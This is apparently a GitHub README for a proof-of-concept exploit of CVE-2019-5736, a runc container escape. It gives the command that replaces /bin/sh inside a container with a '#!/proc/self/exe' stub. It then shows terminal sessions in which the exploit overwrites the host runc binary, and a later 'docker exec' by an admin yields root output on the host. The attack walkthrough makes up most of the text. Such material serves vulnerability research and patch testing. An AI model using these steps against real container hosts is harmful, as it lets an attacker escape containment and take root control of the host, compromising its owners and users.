billith/cve-2019-5736-pocProof-of-concept exploit for CVE-2019-5736, a runc container escape that overwrites the host runc binary to achieve root code execution on the host.
PoC was created to the scenario were victim is executing for example docker exec <container> sh. Before running exploit it's required to overwrite sh binary in the container file system:
printf '#!/proc/self/exe' > /bin/sh
After that, when victim executes exec command, runc binary in the host file system should be overwritten with the code defined in exploit
container terminal:
root@cebad431c120:/# printf '#!/proc/self/exe' > /bin/sh
root@cebad431c120:/# ./exp # Waits until victim issues the exec command
Found process: 42851
Exploiting PID: /proc/42851/exe
Time to PWN
Success! Next time runc is run we will get RCE!
root@cebad431c120:/#
victim terminal:
user@server:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
user@server:~$ sudo docker exec cebad431c120 sh
No help topic for '/usr/bin/sh'
user@server:~$ sudo docker exec cebad431c120 sh
pwned
uid=0(root) gid=0(root) groups=0(root)
failed to retrieve OCI runtime exec pid: open /run/containerd/io.containerd.runtime.v1.linux/moby/cebad431c120d2378925e0712efaafe844616d618d99df4a479283d45f86c0fc/a70ea68c10e0eb3912fde8978e879e77b04ed32731338329024140db47dce1d3.pid: no such file or directory: unknown
user@server:~$